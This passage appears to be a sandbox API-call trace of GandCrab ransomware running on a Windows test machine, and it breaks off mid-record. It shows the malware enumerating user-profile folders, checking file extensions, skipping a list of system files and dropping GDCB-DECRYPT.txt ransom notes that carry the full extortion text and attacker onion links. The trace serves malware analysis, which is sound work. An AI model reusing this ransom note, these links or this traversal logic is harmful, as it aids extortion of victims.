[0053.047] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms") returned 114 [0053.047] lstrcmpW (lpString1=".regtrans-ms", lpString2=".sql") returned -1 [0053.047] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.047] lstrcmpW (lpString1="ntuser.ini", lpString2=".") returned 1 [0053.047] lstrcmpW (lpString1="ntuser.ini", lpString2="..") returned 1 [0053.047] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="ntuser.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\ntuser.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\ntuser.ini" [0053.047] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\ntuser.ini") returned 32 [0053.047] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0053.047] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.047] lstrcmpW (lpString1="OneDrive", lpString2=".") returned 1 [0053.047] lstrcmpW (lpString1="OneDrive", lpString2="..") returned 1 [0053.047] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="OneDrive" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" [0053.047] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned 30 [0053.047] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.047] lstrcmpW (lpString1="Pictures", lpString2=".") returned 1 [0053.047] lstrcmpW (lpString1="Pictures", lpString2="..") returned 1 [0053.047] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0053.047] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned 30 [0053.047] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.047] lstrcmpW (lpString1="PrintHood", lpString2=".") returned 1 [0053.047] lstrcmpW (lpString1="PrintHood", lpString2="..") returned 1 [0053.047] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="PrintHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" [0053.047] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned 31 [0053.047] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.047] lstrcmpW (lpString1="Recent", lpString2=".") returned 1 [0053.047] lstrcmpW (lpString1="Recent", lpString2="..") returned 1 [0053.047] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent" [0053.047] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned 28 [0053.047] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.047] lstrcmpW (lpString1="Saved Games", lpString2=".") returned 1 [0053.047] lstrcmpW (lpString1="Saved Games", lpString2="..") returned 1 [0053.048] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Saved Games" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" [0053.048] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned 33 [0053.048] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.048] lstrcmpW (lpString1="Searches", lpString2=".") returned 1 [0053.048] lstrcmpW (lpString1="Searches", lpString2="..") returned 1 [0053.048] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Searches" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches" [0053.048] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned 30 [0053.048] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.048] lstrcmpW (lpString1="SendTo", lpString2=".") returned 1 [0053.048] lstrcmpW (lpString1="SendTo", lpString2="..") returned 1 [0053.048] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="SendTo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned="C:\\Users\\CIiHmnxMn6Ps\\SendTo" [0053.048] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\SendTo") returned 28 [0053.048] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.048] lstrcmpW (lpString1="Start Menu", lpString2=".") returned 1 [0053.048] lstrcmpW (lpString1="Start Menu", lpString2="..") returned 1 [0053.048] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Start Menu" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" [0053.048] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned 32 [0053.048] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.048] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0053.048] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0053.048] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates" [0053.048] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned 31 [0053.048] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.048] lstrcmpW (lpString1="Videos", lpString2=".") returned 1 [0053.048] lstrcmpW (lpString1="Videos", lpString2="..") returned 1 [0053.048] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0053.048] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned 28 [0053.048] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0053.048] FindClose (in: hFindFile=0x588b20 | out: hFindFile=0x588b20) returned 1 [0053.048] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.049] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\\\GDCB-DECRYPT.txt") returned 39 [0053.049] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0053.049] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.049] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0053.049] CloseHandle (hObject=0x4e0) returned 1 [0053.050] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.050] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\") returned 22 [0053.050] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\*" [0053.050] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588de0 [0053.050] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.050] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0053.050] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.050] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.050] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0053.050] lstrcmpW (lpString1="AppData", lpString2=".") returned 1 [0053.050] lstrcmpW (lpString1="AppData", lpString2="..") returned 1 [0053.050] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="AppData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData" [0053.050] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\" [0053.050] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.051] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.051] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.051] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.051] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.051] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.051] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\") returned 30 [0053.051] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*" [0053.051] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*", lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 0x588ea0 [0053.051] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.051] FindNextFileW (in: hFindFile=0x588ea0, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 1 [0053.051] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.051] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.051] FindNextFileW (in: hFindFile=0x588ea0, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 1 [0053.051] lstrcmpW (lpString1="Local", lpString2=".") returned 1 [0053.051] lstrcmpW (lpString1="Local", lpString2="..") returned 1 [0053.051] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="Local" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local" [0053.051] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 35 [0053.051] FindNextFileW (in: hFindFile=0x588ea0, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 1 [0053.051] lstrcmpW (lpString1="LocalLow", lpString2=".") returned 1 [0053.051] lstrcmpW (lpString1="LocalLow", lpString2="..") returned 1 [0053.051] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="LocalLow" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\LocalLow") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\LocalLow" [0053.051] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\LocalLow") returned 38 [0053.051] FindNextFileW (in: hFindFile=0x588ea0, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 1 [0053.051] lstrcmpW (lpString1="Roaming", lpString2=".") returned 1 [0053.051] lstrcmpW (lpString1="Roaming", lpString2="..") returned 1 [0053.051] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="Roaming" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" [0053.051] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned 37 [0053.051] FindNextFileW (in: hFindFile=0x588ea0, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 0 [0053.051] FindClose (in: hFindFile=0x588ea0 | out: hFindFile=0x588ea0) returned 1 [0053.051] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.052] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\\\GDCB-DECRYPT.txt") returned 47 [0053.052] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4 [0053.054] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.054] WriteFile (in: hFile=0x4e4, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f50c, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f50c*=0xad6, lpOverlapped=0x0) returned 1 [0053.054] CloseHandle (hObject=0x4e4) returned 1 [0053.054] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.055] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\") returned 30 [0053.055] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*" [0053.055] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*", lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 0x588e20 [0053.055] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.055] FindNextFileW (in: hFindFile=0x588e20, lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 1 [0053.055] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.055] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.055] FindNextFileW (in: hFindFile=0x588e20, lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 1 [0053.055] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.055] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.055] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\GDCB-DECRYPT.txt" [0053.055] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.055] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\GDCB-DECRYPT.txt") returned 46 [0053.055] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\GDCB-DECRYPT.txt") returned 46 [0053.055] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\GDCB-DECRYPT.txt") returned 46 [0053.055] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\GDCB-DECRYPT.txt") returned 46 [0053.055] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.055] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.056] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.056] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.056] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.056] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.056] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.056] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.056] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.056] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.056] FindNextFileW (in: hFindFile=0x588e20, lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 1 [0053.056] lstrcmpW (lpString1="Local", lpString2=".") returned 1 [0053.056] lstrcmpW (lpString1="Local", lpString2="..") returned 1 [0053.056] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="Local" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local" [0053.056] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\" [0053.056] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.057] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.057] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.057] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.057] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.057] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.058] FindNextFileW (in: hFindFile=0x588e20, lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 1 [0053.058] lstrcmpW (lpString1="LocalLow", lpString2=".") returned 1 [0053.058] lstrcmpW (lpString1="LocalLow", lpString2="..") returned 1 [0053.058] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="LocalLow" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\LocalLow") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\LocalLow" [0053.058] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\LocalLow", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\LocalLow\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\LocalLow\\" [0053.058] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.058] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.058] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.058] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.058] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.058] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.058] FindNextFileW (in: hFindFile=0x588e20, lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 1 [0053.058] lstrcmpW (lpString1="Roaming", lpString2=".") returned 1 [0053.058] lstrcmpW (lpString1="Roaming", lpString2="..") returned 1 [0053.058] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="Roaming" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" [0053.058] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\" [0053.058] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.059] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.059] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.059] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.059] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.059] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.059] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\") returned 38 [0053.059] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\*" [0053.059] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\*", lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 0x588aa0 [0053.059] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.059] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.059] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.059] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.059] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.059] lstrcmpW (lpString1="004-sn-0z5C.wav", lpString2=".") returned 1 [0053.059] lstrcmpW (lpString1="004-sn-0z5C.wav", lpString2="..") returned 1 [0053.059] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="004-sn-0z5C.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\004-sn-0z5C.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\004-sn-0z5C.wav" [0053.059] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\004-sn-0z5C.wav") returned 53 [0053.059] lstrcmpW (lpString1=".wav", lpString2=".sql") returned 1 [0053.059] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.059] lstrcmpW (lpString1="1WmQLmoja01-EP.gif", lpString2=".") returned 1 [0053.059] lstrcmpW (lpString1="1WmQLmoja01-EP.gif", lpString2="..") returned 1 [0053.059] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="1WmQLmoja01-EP.gif" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\1WmQLmoja01-EP.gif") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\1WmQLmoja01-EP.gif" [0053.059] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\1WmQLmoja01-EP.gif") returned 56 [0053.060] lstrcmpW (lpString1=".gif", lpString2=".sql") returned -1 [0053.060] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: lpFindFileData=0x285f030) returned 1 [0053.060] lstrcmpW (lpString1="4SCtkxF.ots", lpString2=".") returned 1 [0053.060] lstrcmpW (lpString1="4SCtkxF.ots", lpString2="..") returned 1 [0053.060] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="4SCtkxF.ots" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4SCtkxF.ots") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4SCtkxF.ots" [0053.060] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4SCtkxF.ots") returned 49 [0053.060] lstrcmpW (lpString1=".ots", lpString2=".sql") returned -1 [0053.060] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f030 | out: 